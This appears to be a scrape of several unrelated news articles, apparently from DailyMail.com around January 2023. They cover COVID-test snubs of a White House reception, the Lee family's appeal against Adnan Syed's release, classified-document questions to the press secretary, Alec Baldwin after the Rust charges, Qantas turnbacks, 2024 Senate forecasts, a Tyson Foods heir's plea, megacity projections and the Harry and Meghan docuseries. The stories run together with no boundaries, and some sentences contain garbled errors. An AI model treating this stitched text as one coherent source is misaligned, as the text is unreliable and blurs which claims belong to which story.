'The time for arbitrary and unscientific pandemic protocols should be far behind us and I am forgoing a historic trip to the White House to raise awareness of this punitive policy in hopes that President Biden will reverse it and other arbitrary, outdated, and unscientific restrictions across the federal system,' LaLota argued.

Jean-Pierre said that White House kept the vaccination policy in place because experts continued to recommend it.

'We listen to the experts, and we look at the data, and we pay very close attention to science,' she said. 'That is something that our experts, we take their advice when it comes to things like that.

A handful of other freshmen Republicans followed LaLota's snub by pointing to the White House's COVID rules.

LaLota also sent out a tweet explaining why he wouldn't be attending Tuesday night's reception for new lawmakers at the White House

'Rep. Luna will not be attending. Even the CDC has recognized that COVID is no longer a pandemic,' a spokesman for Rep. Anna Paulina Luna told Axios.

Rep. Mike Collins 'has moved on from the pandemic and doesn't plan on attending anything that still requires testing,' his spokesman told the news site.

Rep. Wesley Hunt tweeted that 'President Biden declared on national television that the pandemic was over.'

'However, the White House is requiring a negative COVID test to attend tonight's taxpayer funded soiree. I politely decline,' Hunt said.

Fellow New York Republican, Rep. George Santos, who has been involved in a scandal over lying about his biography, also said he wouldn't be attending the fete, though didn't say if COVID restrictions played a part in that decision.

LaLota took the place of GOP Rep. Lee Zeldin, who left Congress to run for New York governor.
The family of murder victim Hae Min Lee have slammed a Maryland court's conduct in the weeks before they allowed Adnan Syed to be freed after more than 20 years in jail.

In a recent court filing, Lee's family are seeking to appeal the decision to drop all the charges against Syed, which came just one month after he was released from prison.

The family argues that neither the prosecutor nor the court provided the evidence they used to reverse Syed's conviction, and conducted the hearing in private.

They are now asking a Maryland Appeals Court to redo Syed's hearing in public and provide them with the necessary evidence to testify.

Prosecutors dropped charges against Adnan Syed in October for the 1999 killing of Hae Min Lee, a case that was chronicled in the hit podcast 'Serial'

Syed spent more than two decades behind bars after he was convicted of killing Hae Min Lee, a former girlfriend seen with him above in a high school photo

In September, a judge decided to overturn Syed's conviction, and set him free after 23 years behind bars.

Prosecutors ruled the following month that they would drop the charges against Syed in connection to the 1999 killing of Hae Min Lee, a case that was chronicled in the hit podcast 'Serial.'

They ruled that DNA on Lee's shoes was found not to did match Syed, and found that prosecutors failed to provide the defense with documents or evidence that would have been favorable to its case.

But Lee's family say the hearing to overturn Syed's conviction was conducted in private  and family members were not provided with the evidence prosecutors used to come to their decision.

They argue in the request for appeal, obtained by DailyMail.com, that the Maryland circuit court did not hold an open proceeding when deciding to overturn Syed's conviction  against state law.

'Fundamental to the American justice system is the presumption of open courts, including transparent proceedings where the evidence is publicly aired and basis for any dispositive ruling is sufficiently clear.

'The Baltimore City State's Attorney and Circuit Court ran roughshod over these principles by secretly collaborating to choreograph a vacatur of Mr. Syed's conviction.'

Lawyers for the family of the slain 18-year-old continue to argue that whatever happened in the hearing to overturn Syed's conviction 'is lost to history.'

'No witnesses or evidence appeared, and the hearing became mere spectacle to announce the vacatur and set Mr. Syed free.'

Youn Kim, the mother of Hae Min Lee, is pictured being escorted from her daughter's memorial service. The family is now seeking to appeal a Maryland court's decision to overturn Syed's conviction

Syed has repeatedly denied he was responsible for the death of Hae Min Lee

In the court documents, the lawyers argue that there is no evidence that a Brady Violation  in which prosecutors fail to overturn evidence that would benefit the defense's case  had occurred.

'The evidence that the court relied on to grant vacatur and its basis for doing so remain hidden and untested,' the attorneys argue in court documents.

'In doing so, the court and prosecutor also steamrolled Mr. Lee's rights as victim's representative by denying him meaningful input in the process.'

The lawyers also argue that prosecutors failed to give Mr Lee time to respond to the hearing before it was conducted, and denied his request to postpone the hearing so he could travel to Baltimore. Instead, they allowed him to speak on Zoom  which his lawyers say he was unprepared for.

And, the lawyers argue: 'The court also erred in summarily concluding that newly-discovered evidence would have likely changed the outcome at trial.

'No one  not Mr. Lee, not the press, not the public, not even Mr. Syed himself  could know from this ruling what new evidence the court was crediting and how it may tent to exonerate Mr. Syed.

'For example, the State's Attorney claimed that there were alternative suspects under investigation who have been convicted of other crimes, but cited no evidence linking them to the murder of Hae Min Lee.

'Without more, it is impossible to discern the basis for granting vacatur.'

Syed is pictured here smiling and waving after a judge overturned his murder conviction in September. The Maryland prosecutor's office decided the next month to drop all the charges against him

Hae Min Lee's family argues the decision to drop the charges was done in a private hearing, violating the family's rights as victims

Lawyers continue to say that 'there are multiple rulings affirming Mr. Syed's conviction' while the State's motion to overturn the conviction 'was troublingly spare on details and failed to connect the dots on why its new evidence created a "significant probability" that the result would have been different.'

Additionally, they say: 'The State conceded that the investigation  including DNA sampling  was incomplete and made no assertion of Mr. Syed's innocence, yet it failed to explain why it was so urgent to vacate Mr. Syed's sentence even while the inquiry continued.'

In conclusion, the lawyers write: 'The entire process was spectacularly flawed, providing Mr. Lee insufficient notice, no knowledge of the evidence supporting vacatur, and no meaningful opportunity to be heard,' the attorneys write.

'Most significantly, the vacatur determination took place in a closed-chamber prehearing held behind Mr. Lee's back.

'Whatever evidence the State had, it presented only in secret, while at the actual "hearing" the court made no findings of fact to establish that the state fulfilled its obligations.

'Accordingly, the hearing amounted to a mere formality  including a prearranged press conference at which Mr. Syed emerged wearing civilian clothing.'

They argued that 'Mr. Lee has no opinion on what the ultimate result should be, and certainly no interest in seeing an innocent man imprisoned, but Mr. Lee and the public are entitled to an unbiased legally compliant proceeding.

'Under the Vacatur Statute, Mr. Lee (and the public) cannot be kept in the dark,' the lawyers argue, writing: 'If backroom proceedings continue, the rights of both crime victims and criminal defendants are likely to suffer.'

Hae Min Lee, right, was just 18 when she was strangled and buried in a shallow grave in Baltimore's Leakin Park back in 1999. Syed, right, has repeatedly raised questions about the evidence against him

Hae Min Lee was just 18 when she was strangled and buried in a shallow grave in Baltimore's Leakin Park back in 1999.

Syed has maintained his innocence for decades and captured the attention of millions in 2014 when the debut season of 'Serial' focused on the case and raised doubts about some of the evidence used against him, including cellphone tower data.

Prosecutors have previously said that a reinvestigation of the case revealed evidence regarding the possible involvement of two alternate suspects. The two suspects may have been involved individually or together, the state's attorney's office said.

One of the suspects had threatened Lee, saying 'he would make her (Ms. Lee) disappear. He would kill her,' according to a court filing.

The suspects were known persons at the time of the original investigation and were not properly ruled out nor disclosed to the defense, prosecutors said.

Prosecutors also said new information revealed that one of the suspects was convicted of attacking a woman in her vehicle, and that one of the suspects was convicted of engaging in serial rape and sexual assault.

They further noted that unreliable cellphone data used during Syed's court case to corroborate his whereabouts on the day of the crime.

The notice on the records specifically advised that the billing locations for incoming calls 'would not be considered reliable information for location.'

Marilyn Mosby, the state's attorney for the city of Baltimore, said that DNA not available at the time of the murder revealed genetic material on Lee's shoes that did not match Syed

In announcing that the charges against Syed would be dropped, Marilyn Mosby, the state's attorney for the city of Baltimore, said that DNA not available at the time of the murder revealed genetic material on Lee's shoes that did not match Syed -- but she declined to specify whether any match was made to another viable suspect.

'This case is over. There are no more appeals necessary,' Mosby said during a news conference, saying Syed would not face a second trial after a judge overturned his original conviction and ordered his release from prison.

She added that she will continue to pursue justice for Lee, as she offered an apology to both the Lee and Syed families for the decades-long, gut-wrenching saga both sides endured in the case.

'Although my administration was not responsible for neither the pain inflicted upon Hae Min Lee's family, nor was my administration responsible for the wrongful conviction of Mr. Syed, as a representative of the institution, it is my responsibility to acknowledge and to apologize to the family of Hae Min Lee and Adnan Syed,' Mosby said.

'Justice is never denied, but justice be done. Today, justice is done,' the top prosecutor added.

Syed's brother Yusef told WJZ that his own family was feeling 'very happy' and 'very blessed' by the decision, adding of Adnan: 'He's feeling happy, it's hard for him to kind of process everything, it's hard for all of use.

And Syed family friend Rabia Chaudry, who first brought the case to the attention of Serial's producers, said in a statement: 'For decades now my prayer and the prayers of people who love Adnan have been not only that he is released from prison, but that he returns home with his dignity and reputation restored, his record cleared, and the killer of Hae Min Lee brought to justice.'

'My final prayer is that the killer is soon arrested and I believe with my entire hear this will happen,' she added.

Lee's family (pictured) slammed the decision to drop all the charges against Syed

But Lee's family slammed the decision at the time, saying through an attorney that once again they had not been warned by prosecutors prior to the bombshell announcement, and first learned of it through news reports.

'After 23 years of having Haes murder dredged up again and again, the family deserves more than an email sent to their attorney four minutes after news of todays dismissal broke in the media,' Lee family attorney Steve Kelly told DailyMail.com.

'Truly respecting victims voice in the process requires far more than that,' said Kelly. 'The family received no notice and their attorney was offered no opportunity to be present at the proceeding.'

'By rushing to dismiss the criminal charges, the State's Attorney's Office sought to silence Hae Min Lee's family and to prevent the family and the public from understanding why the state so abruptly changed its position of more than 20 years,' he added.

'All this family ever wanted was answers and a voice. Today's actions robbed them of both,' said Kelly.

And in a statement on Tuesday, upon filing the appeal, David Sanford, chair of Sanford Heisler Sharp, said: 'Whether the conviction of Adnan Syed should stand is a question that should be answered in an open, public hearing with evidence that the victims family and the world should see,

'The court made a most egregious error by holding a private proceeding without informing the victims representative and with no court reporter present,' he continued in a statement to DailyMail.com.

'There is no record of what was said and no record of what evidence, if any, the court reviewed. Hae Min Lees family and the public deserve more, and that is what the law requires.

'At this point, the integrity of our judicial system and respect for the rule of law are at stake,' he said.

Sharp will be arguing in the Court of Special Appeals on February 2.
White House Press Secretary Karine Jean-Pierre repeatedly brushed off questions about the growing classified documents probe Tuesday  even as dozens of documents were found inside former Vice President Mike Pence's Indiana home.

With Biden facing new pressure from the GOP Congress and a special counsel probe - and from within his own party - Jean-Pierre refused to say whether the president would invite the FBI to search his Rehoboth, Delaware, beach house.

The questions emerged after a DOJ search on Friday turned up more materials at his Wilmington home.

'I would refer you to the White House Counsel's Office who had been regularly in touch with all of you answering these questions about about the law,' she said at Tuesday's White House press briefing.

Nor would she venture to speculate on whether there was a 'larger problem' now that the two last vice presidents  Pence and Biden  had found classified materials inside their homes.

White House Press Secretary Karine Jean-Pierre wouldn't comment on the latest classified document developments, even after former VP Mike Pence alerted authorities that he had classified materials in his Indiana home

'I'm not going to comment from here on that. I will refer you to the White House Counsel, any anything related to classified documents from here,' she said, sticking to her script.

When asked if Biden should change what classification rules he can in the wake of the latest developments, Jean-Pierre at one point said she wouldn't comment on a 'criminal investigation.'

'Look, I'm not going to comment on any ongoing criminal investigation, or any investigation. As we all know the Department of Justice is independent and we will not interfere,' she said.

Asked by DailyMail.com if she had any reason to believe there were ongoing criminal investigations in the matter  which would be a major development in the case of Pence or Biden  she again deflected.

Reporters tried repeatedly to try to wring information from Jean-Pierre, a day after another White House spokesperson, Ian Sams, blasted the media for trying to 'get attention' by focusing questions on the issue.

BRIEFED: White House Press Secretary Karine Jean-Pierre carried a thick stack of materials to her briefing, but referred multiple questions to the Justice Department

President Biden has been hammered by a series of disclosures about classified documents in his possession

Beach trip! Jean-Pierre wouldn't say if Biden would invite the FBI to search his Delaware beach house, where he traveled last weekend

A dozen classified documents were discovered and turned over by former Vice President Mike Pence at his Indiana home

'I'm just saying I'm not going to comment on any type of investigation. The Department of Justice is independent, and we just don't comment on any investigations from here,' she said in response to one futile effort.

'Again, I would refer you to the White House Counsel's office on anything that's related to the investigation,' she said.

Still, questions remain about exactly how much classified material was discovered and how and why Biden allowed it into his home and former think tank office.

His lawyer said agents on Friday 'took possession of materials it deemed within the scope of its inquiry, including six items consisting of documents with classification markings and surrounding materials, some of which were from the President's service in the Senate and some of which were from his tenure as Vice President.'

That leaves open the possibility some of the items were folders that could have included lengthy or multiple documents.
Alec Baldwin and his wife were pictured out in Manhattan once again following a state prosecutor's decision to bring manslaughter charges against the actor in the death of Halyna Hutchins, a 42-year-old cinematographer.

The actor and his model wife Hilaria, 39, were seen together Tuesday for just the second time since the decision, aired by the Santa Fe District Attorney's Office last week.

Photos show the couple attempting to enter an Escalade called to the 64-year-old actor's residence in Downtown Manhattan, with Baldwin in particular appearing to struggle to pull himself into the luxury SUV.

Hilaria, however, looked more nonchalant, posing for photos while armed with an umbrella, seemingly to block out sun seen during an unseasonably warm day in the Big Apple.

The scene served as somewhat stark when juxtaposed with another set of photos snapped 3,000 miles away in Los Angeles, which showed Hutchins' widower, Matthew Hutchins, out in public for the first time himself, since the charges were filed.

Alec Baldwin and his wife were pictured out in Manhattan once again following a state prosecutor's decision to bring manslaughter charges against him

The 64-year-old actor and his 39-year-old model wife were seen together Tuesday for just the second time since the decision, aired by the Santa Fe District Attorney's Office last week

The images show Matthew appearing somewhat somber while out running errands in The City of Angels, where he and his wife had lived with their nine-year-old son, Andros prior to the tragedy.

In one particularly striking photo, the now single father - who won an undisclosed sum from Baldwin after suing the actor for his wife's wrongful death last year - appears to sit in his car deep in thought, just a few days after the charges were brought.

In contrast, images snapped of the Baldwins from across the country show the couple appearing somewhat carefree, with Hilaria even sporting a pair of Dr. Dre's Beats headphones.

A slightly more somber Baldwin, meanwhile, seemed preoccupied with merely getting himself inside the vehicle, appearing to struggle at some points as traffic quickly lined up.

The scene served as somewhat stark when juxtaposed with another set of photos snapped 3,000 miles away in Los Angeles, showing Hutchins' widower, Matthew Hutchins, out in public for the first time since the charges were filed

The images show Matthew appearing somewhat somber while out running errands in The City of Angels, where he and his wife had lived with their nine-year-old son, Andros

In one particularly striking photo, the now single father - who won an undisclosed sum from Baldwin after suing the actor for his wife's wrongful death last year - appears to sit in his car deep in thought, just a few days after the charges were brought

The sighting comes as the star has kept a low profile the past few days, following the Santa Fe DA's office decision to go through with the charges.

'He doesn't actually have to touch each projectile, each piece of ammunition,' Mary Carmack-Altwies, Santa Fe County's district attorney, said Thursday of what influenced her ruling.

'He has an absolute duty to know that what is in the gun that is being placed in his hand is safe.'

The choice from the prosecutor saw felony charges of involuntary manslaughter brought against both Baldwin and the set's 25-year-old armorer, Hannah Gutierrez-Reed.

Hilaria, however, looked more nonchalant, posing for photos while armed with an umbrella, seemingly to block out sun seen during an unseasonably warm day in New York

Suprisingly carefree, Hilaria even sported a pair of Dr. Dre's Beats headphones

Baldwin, facing a potential five years in prison, looked to struggle to enter the SUV as his wife waited

Both face a maximum of five years in prison if convicted, with a maximum of 18 months stemming from the manslaughter charges.

If convicted of a firearm enhancement charge on top of that, they will potentially face the full five-year sentence.

Since the announcement on Thursday, Baldwin has made himself scarce - only appearing once to make a panicked dash into a car from his Manhattan apartment Friday morning.

He was later seen going into an office building in New York, where he tried to cover his face with letters after emerging from the vehicle.

Hilaria, meanwhile, left their luxury apartment building in Manhattan this morning with several of their children  clutching two coffees.

Since the announcement on Thursday , Baldwin has made himself scarce - only appearing once to make a panicked dash into a car from his Manhattan apartment Friday morning

On Tuesday, shortly before the appearance with her husband, the Massachusetts-born model appeared to subtly addressed criticism she fakes her Spanish heritage by donning a 'Keep Calm and Fanta de Limon' t-shirt.

Dave Halls, meanwhile, the unreleased film's Assistant Director who handed Baldwin the gun that killed Hutchins, avoided jail time after reaching an 11-th hour plea deal with New Mexico prosecutors, which saw him plead guilty to the charge of negligent use of a deadly weapon.

Several lawsuits have been filed in civil court including one filed by Hutchins' widower, Matthew Hutchins, against Baldwin and the rest of the production, this time in California.

Baldwin and Hutchins on the set of Rust last year. He maintains he never pulled the trigger

As part of the behind-closed-doors agreement, Matthew will now serve as a producer on the film, once it resumes production later this year - this time in California.

The saga surrounding Hutchins' wrongful death stems from an incident during filming for Baldwin's Western Rust on the outskirts of Santa Fe, where Baldwin accidentally shot both Hutchins and Director Joel Souza with a single bullet.

Baldwin had been practicing drawing a revolver from his holster when a round was fired and pierced Souza's shoulder after traveling through Hutchins' chest.

The actor insisted during an interview with police that he had been told the gun was 'cold' when it was handed to him and, crucially, that he did not pull the trigger.

Baldwin has refuted an FBI report which claims he must have pulled the trigger for the gun to fire.

The Sante Fe District Attorney's office, which is similarly charging the armorer on set, Hannah Gutierrez-Reed, remained confident it could prosecute them both.


A Qantas pilot has revealed what is 'appropriate' to tell passengers if the plane is experiencing a technical issue mid-flight - after a horror week of emergency landings for the airline.

Several planes were forced to turn around mid-air due to mechanical faults in recent days, as thousands of travellers head away for a summer holiday.

Qantas Chief Technical Pilot Alex Passerini said while those on board would often be told about any technical issues during the flight, more information would be given upon landing.

'I think it's an appropriate level of information (given) at the time,' he told the Today Show's Karl Stefanovic when asked if passengers were alerted to any problems.

Qantas Chief Technical Pilot Alex Passerini said while those on board would often be told about any technical issues during the flight, more information would be given upon landing

'That we've had a technical problem, and we need to divert or return to the point of landing, I think that's appropriate.

'And perhaps more information after we're on the ground.'

His comments come after six incidents were reported with Qantas aircraft in the past week.

On Tuesday afternoon flight QF1608 from Perth to Kalgoorlie in Western Australia was forced to do circles over the capital city due to a 'mechanical fault'.

The Fokker 100 aircraft took off at 3:50pm and was in the air for just 50 minutes before it made a safe landing at Perth Airport.

A Qantas spokeswoman said the one-hour journey was cut short due to a 'minor mechanical issue' that delayed the flight by more than three hours.

Qantas has experienced several incidents with its aircraft in the past week, with many flights forced to turn back while in the air (pictured, a Boeing 737 at Sydney Airport)

She said the plane could have continued to Kalgoorlie but that a lack of engineering support in the city meant it was inspected by engineers in Perth instead.

Last Wednesday, Qantas flight QF144 from Auckland to Sydney was forced to issue a mayday call halfway through the three-hour journey after an engine failed.

The aircraft was able to land safely.

The majority of passengers were blissfully unaware of the issue and only found out once confronted by reporters at Sydney Airport.

Passenger Simone Schmidt told the media: 'We were told nothing had happened, they were totally professional and we only found out when we got back on land.'

Then on Thursday, flight QF101 was forced to turn back to Sydney airport after it suffered a 'potential mechanical issue' on its way to Fiji.

Flight QF1608 from Perth to Kalgoorlie in Western Australia was forced to do circles over the capital city due to a 'mechanical fault' on Tuesday

The passenger jet was on its way to Nadi Airport at around 9am when it turned around and landed back at Sydney airport just before 11am.

'The pilots followed standard procedures and the aircraft has landed normally in Sydney,' a Qantas spokesperson said on Thursday.

On Friday, two Qantas planes were again forced to turn around shortly after take-off due to mechanical issues.

Flight QF1516 from Melbourne to Canberra turned-back on Friday morning after pilots noticed an issue with the flaps of the Boeing 717 aircraft.

The plane took off from Melbourne Airport at 10.10am and was in the sky for just 17 minutes before it circled back and landed at 10.27am.

It came just minutes after pilots on flight QF430 from Melbourne to Sydney were alerted to a 'minor engine issue' and turned the plane around.

A Qantas spokesperson told Daily Mail Australia that customers on both of the diverted planes were booked on other flights.

'The aircraft landed normally  this was not an emergency or priority landing. Both engines remained operational throughout the flight,' they said of the flight from Melbourne to Canberra.

A packed Qantas plane travelling from Melbourne to Sydney on Friday was forced to turn around mid-flight after pilots were alerted to a 'minor engine issue'

On Monday, a Qantas plane travelling from Adelaide to Perth was forced to turn around due to incomplete paperwork.

A Qantas spokesperson said there had been no technical issues with the plane but that the correct paperwork had not been finalised for the aircraft to land.

Qantas domestic chief executive Andrew David said the airline averaged about 60 turnbacks a year out of 10,000 across the industry.

He added there were an estimated 400 to 500 engine shutdowns a year across all narrow body jet aircraft around the world, and Qantas' shutdown rate on the 737 was 'well below the industry average'.

'It's important to put these things in context. Across aviation, there are diversions and air turn backs happening every day for a range of reasons.

'We understand that when you hear reports of planes turning around, it's concerning.

'But people can be assured that aviation is built on safeguards, and one of those safeguards is that if something isn't right, we take a conservative approach to the problem rather than pressing on.'

Qantas will investigate all six incidents to identify and address issues.
Nonpartisan elections forecaster Cook Political Report released its initial predictions for the 2024 Senate battle, placing three members who caucus with Democrats in the 'toss-up' category.

The Senate's powerful moderates of last Congress - Kyrsten Sinema, Ariz., and Joe Manchin, W.Va., now both find their 'toss-up' seats in jeopardy.

Neither has yet announced a re-election bid. Democrats are anxiously awaiting Manchin's decision as he is likely the only one from their party who can win in red West Virginia.

Sen. Sherrod Brown, a Democrat of Ohio, is running for reelection for his 'toss-up' seat. Ohio Democrats failed to secure a win in 2022 as retiring GOP Sen. Rob Portman was replaced by another Republican, Sen. J.D. Vance.

Arizona Sen. Kyrsten Sinema, who recently switched her affiliation from Democrat to Independent, has been coy about her future plans, but some believe she left the Democrats to avoid a primary.

Another five seats, all occupied by incumbent Democrats, start out the gate in the 'lean Democratic' category.

Among them is Montana Sen. Jon Tester's seat, another top target of Republicans in the next election cycle. Former President Trump comfortably won Montana by 16.4 points in 2020.

Others include Michigan, where there will be an open Senate seat, and the seats of Nevada Sen. Jacky Rosen, D, Pennsylvania Sen. Bob Casey, D, and Wisconsin Sen. Tammy Baldwin, D.

Republican Sen. Rick Scott of Florida is defending a seat in the 'likely Republican' category.

The Senate's powerful moderates of last Congress - Kyrsten Sinema, Ariz., and Joe Manchin, W.Va., now both find their 'toss-up' seats in jeopardy

Rep. Ruben Gallego officially jumped into the race for Sinema's seat on Monday

Ohio Sen. Sherrod Brown, D, is defending his seat in 2024

Democrats currently control the upper chamber by a 51-49 margin. But in 2024, they'll have 23 members up for reelection compared to 11 Republicans.

But thanks to Manchin and Sinema who refused to sign on to abolishing the filibuster, the Senate still needs 60 votes to pass most legislation.

On Tuesday the GOP Senate's campaign armed unveiled a 30-second ad paining 'Maserati Manchin' as out of touch with West Virginia values. The National Republican Senatorial Committee (NRSC) has released a spate of ads calling on Manchin, Brown and Tester to 'retire or get fired.'

Asked by DailyMail.com when the public could expect to hear more about his 2024 plans, Manchin deadpanned: 'Probably 2024.'

On Monday Sinema formally got a Democratic challenger in Rep. Ruben Gallego. Sen. Chuck Schumer refused to commit to backing incumbent Sinema or Democrat Gallego while speaking with reporters on Tuesday.

Schumer called Sinema an 'excellent' senator. 'She has done a lot of good things here. But it's much too early to make a decision' on who to support, he said.

Meanwhile, Sen. Minority Leader Mitch McConnell, R-Ky., praised Sinema for upholding the filibuster along with Manchin and relished in the Democratic in-fighting over whether to back her.

'It's a big dilemma for the Senate Democratic majority to decide whether to support her or to support somebody running on the Democratic ticket.'

Sen. Gary Peters, Mich., chair of Senate Democrats' campaign arm, also told reporters it's 'real early' to decide on who to support for the Arizona Senate seat.

'I don't know what her intentions are. We'll have to wait and see what happens,' he added.

Sinema has a solid ally in fellow moderate Manchin. 'Whatever she wants to do, I support her,' he told reporters.
The heir of Tyson Foods has U-turned and pleaded guilty to multiple charges after he drunkenly passed out half-naked in a stranger's bed, prosecutors revealed Tuesday.

John R. Tyson, 32, the great-grandson of the meat company's founder, agreed to pay $440 on charges of intoxication and criminal trespass, the Fayetteville, Arkansas prosecutor's office told The Wall Street Journal. He pleaded not guilty last month.

The scion was arrested November 6 in Fayetteville after a college-aged woman found him asleep in her bed at 2am and called the police.

Footage shows Tyson attempting to go back to sleep while two officers shout at him and threaten to drag him out of the house 'butt naked.'

The scion was arrested November 6 in Fayetteville after a college-aged woman found him asleep in her bed at 2am and called the police. Footage shows Tyson attempting to go back to sleep while two officers shout at him and threaten to drag him out of the house 'butt naked.'

Tyson is seen in his underwear at the Washington County Sheriff's Office after being arrested

Tyson attended Harvard and Stanford University before coming aboard at the family company - he also worked as an investment banker at JP Morgan and in private equity and venture capital

'Mr. Tyson! John! Fayetteville Police Department, you're not in your house,' an officer can be heard shouting at the slumbering executive.

'I need you to wake up and talk to me before I drag you out of here butt naked,' the officer continues.

Tyson was made CFO of the meat giant just two months before the incident.

In December, he pleaded not guilty to the charges. That same day, the Tyson Foods board announced that it still had confidence in its CFO.

'I'm embarrassed and I want to let you know that I take full responsibility for my actions,' Mr. Tyson said on an earnings call a week after he was arrested. 'I am committed to making sure that this never happens again.'

Tyson was named CFO after serving as the firm's chief sustainability officer and executive vice president of strategy. He joined in 2019 after working in investment banking and private equity.

His father, John H. Tyson, served as the meatpacking firm's CEO from 2000 until 2006, and has been chairman since 1998.

It is not clear how exactly Tyson ended up in the woman's home but she told dispatchers at the time that she did not know him and may have left her front door open accidentally.

Footage shows Tyson attempting to go back to sleep, pulling the blanket up to his chin

'Mr. Tyson! John! Fayetteville Police Department, you're not in your house,' an officer can be heard shouting at the slumbering executive during the November 6 arrest

When Tyson failed to comply, the officers pulled the sheets back, revealing the executive in his boxer underwear, and moved to cuff him

According to an incident report produced by the Fayetteville Police Department, officers received a call early on the Sunday morning from a woman who had come home to find a man she didn't know sleeping in her bed.

When officers arrived, they tried to wake Tyson but found he smelt of alcohol and was 'sluggish and uncoordinated'. His clothes were on the floor.

In body-worn camera footage filmed by the police, Tyson is seen rolling over and waving his hand before pulling the sheets up to his chin and attempting to go back to sleep.

The cops issued a final warning, saying: 'You have two options, either one, you sit up and put your clothes on, or two, you go to jail just like you are right now.'

When Tyson failed to comply, the officers pulled the sheets back, revealing the executive in his boxer underwear, and moved to cuff him.

Tyson Foods, based in Arkansas, is worth around $24 billion. The Tyson family is worth around $3 billion

The Tyson Foods meat company has grown over the last three generations into a $24 billion brand. John R. Tyson is the youngest CFO currently serving a Fortune and S&P 500 company

Tyson can be seen reaching for the sheets in a feeble attempt to go back to sleep before he was placed in handcuffs. 'I'm going to sleep,' he said.

Other than saying, 'woah' and 'stop' as the cuffs went on, Tyson made no further statements to the officers explaining his actions.

At one point as he was being led from the home, he did request: 'Can I go pee real quick?' Police denied the request.

Tyson was taken to Washington County jail and charged with public intoxication and criminal trespassing.
By 2050, it's predicted that 70 percent of the world's population will live in mega-cities, according to the Institute for Economics & Peace.

The status is typically given to a city with a population of more than 10 million - which are often beset with problems such as pollution, congestion and overcrowding.

There are currently 33 such cities in the world, the biggest being Tokyo, with a population of 37.3 million. A total of 19 of the world's current mega-cities are located in Asia.

Those cities will be joined by 14 others by 2050, marketing and consumer data group Statista says. Cities that will see marked growth in populations include Chicago, London and Tehran.

The biggest increase will be in Dar es Salaam in Tanzania, where the population is expected to rise from 7.5 million to 16.4 million between now and 2050.

The nation of Tanzania will account for more than half the world's population growth between now and 2050, along will fellow African nations, Ethiopia, Nigeria and Congo.

A 2021 UN report projected the worlds population will reach around 8.5 billion in 2030, 9.7 billion in 2050 and 10.4 billion in 2100.

The same report put the current U.S population at 337 million, reaching 375 million in 2050. The population growth rate in 2021 was just 0.1 percent, the lowest since the country was founded.

The only place in the U.S. that is expected to join the megacities ranks is Chicago, where the population is expected to balloon more than 20 percent from 8.9 million to 10.8 million.

The Windy City will join the only other three North American cities on the list, Los Angeles, New York City and Mexico City.

Chicago is expected to join Los Angeles and New York City as the only megacities in the United States

Residents of Dar es Salaam awaiting the funeral procession of president John Magufuli in 2021

Other countries rounding out the list with the fastest growing populations are Egypt, Pakistan, the Philippines and India, which is set to overtake China as the worlds most populous nation in April 2023.

In 2021, the United Nations identified 34 megacities in the world. The UN predicted that the number would rise to 48 by 2035.

The same report said that 85 percent of the earth's population will be living in cities by the year 2100.

The world's current megacities are Delhi, Dhaka, Cairo, Tokyo, Mumbai, Shanghai, Kinshasa, Lagos, Karachi, Mexico City, Sao Paulo, Beijing, Kolkata, New York City, Manila, Lahore, Bangalore, Chongqing, Buenos Aires, Osaka, Hyderabad, Tianjin, Guangzhou, Los Angeles, Rio de Janeiro, Bangkok, Jakarta, Shenzhen, Lima, Paris and Moscow.

The Statista report says that of those cities, only three will see a population decrease between now and 2050, Moscow will lose three percent while Osaka and Tokyo in Japan will lose 12 percent.

Despite the drop off, Tokyo will still be the world's fourth largest city in terms of population.

Japanese Prime minister Fumio Kishida pledged on Monday to take urgent steps to tackle the country's declining birth rate

Japanese Prime minister Fumio Kishida pledged on Monday to take urgent steps to tackle the country's declining birth rate, saying it was 'now or never' for one of the world's oldest societies.

Japan has in recent years been trying to encourage its people to have more children with promises of cash bonuses and better benefits, but it remains one of the most expensive places in the world to raise a child, according to surveys.

In another megacity, Kinshasa, where more than 12 million people live, many families struggle to find affordable housing and pay school fees. While elementary pupils attend for free, older childrens chances depend on their parents incomes.

Rapid population growth also means more people vying for scarce water resources and leaves more families facing hunger as climate change increasingly impacts crop production in many parts of the world, according to the Statista study.

Even as populations soar in some countries, the U.N. says rates are expected to drop by 1 percent or more in 61 nations.
The director of Harry and Meghan's Netflix docuseries claims Buckingham Palace tried to 'discredit' the couple's bombshell allegations by claiming the filmmakers did not contact the royals for comment.

Liz Garbus, in an interview with Vanity Fair, claims the Palace was contacted about the series, but denied being asked for comment so they could 'discredit the content of the show'.

She said: 'For instance, Buckingham Palace said that we didn't reach out for comment [on the docuseries] when we did. They did that to discredit usand by discrediting us, they can discredit the content of the show.'

The director also revealed it was her idea to use the series as a platform to discuss racism and colonialism.

The release of the docuseries sparked a transatlantic war of words over whether the Royal Family were given the chance to properly respond to incendiary claims made by the Sussexes.

A senior source originally insisted the family had not been contacted. A Netflix source then hit back, insisting the communications offices for the King and the Prince of Wales were contacted in advance and given the chance to react to Harry and Meghan's 'claims within the series'.

Kensington Palace then responded by saying that they had an email from a third-party production company, not Archewell or Netflix. The Prince of Wales' aides then contacted the Sussexes and the streaming giant to verify if it was genuine, but got no reply.

The director of Harry and Meghan's Netflix docuseries claims Buckingham Palace tried to 'discredit' the couple's bombshell allegations by claiming the filmmakers did not contact the royals for comment. The Sussexes are pictured in the show

Director Liz Garbus (pictured in February 2020) claims the Palace was contacted about the series, but denied being asked for comment so they could 'discredit the content of the show'

Her remarks come as it was revealed that Meghan raised 'gentle concerns' about Harry's decision to release his memoir and was worried if it was the right move.

Buckingham Palace declined to comment on the filmmaker's remarks. MailOnline has approached Harry and Meghan's Archewell Foundation and the Sussexes' attorneys for comment.

Ms Garbus' comments further a row that began when at the beginning of episode one, for around 20 seconds, the screen went black apart from the words: 'Members of the Royal Family declined to comment on the content within the series.'

The release of the Harry & Meghan docuseries sparked a transatlantic war of words over whether the Royal Family were given the chance to properly respond to incendiary claims made by the Sussexes (pictured in Episode 2 of Harry & Meghan)

Ms Garbus also revealed that Prince Harry and Meghan Markle wanted to showcase their love story and it was actually her idea to use the series as a platform to discuss 'larger historical issues' such as racism and colonialism. Meghan is pictured in Episode 4 at her baby shower

Meghan Markle tells friends Prince Harry is a 'shoo-in' for a Grammy nod thanks to his 'soothing voice' and rendition of Elton John's Your Song on the audiobook of Spare: Click here to read more An insider told DailyMail.com exclusively that Meghan thinks Harry is a shoo-in to win a Grammy Award for Best Spoken Word for the audiobook of his memoir Spare Advertisement

'In the absence of this verification, we were unable to provide any response. The substance of the email we received also did not address the entire series,' a source said. A Buckingham Palace source had also disputed the Sussexes' claims that the royals were asked to comment.

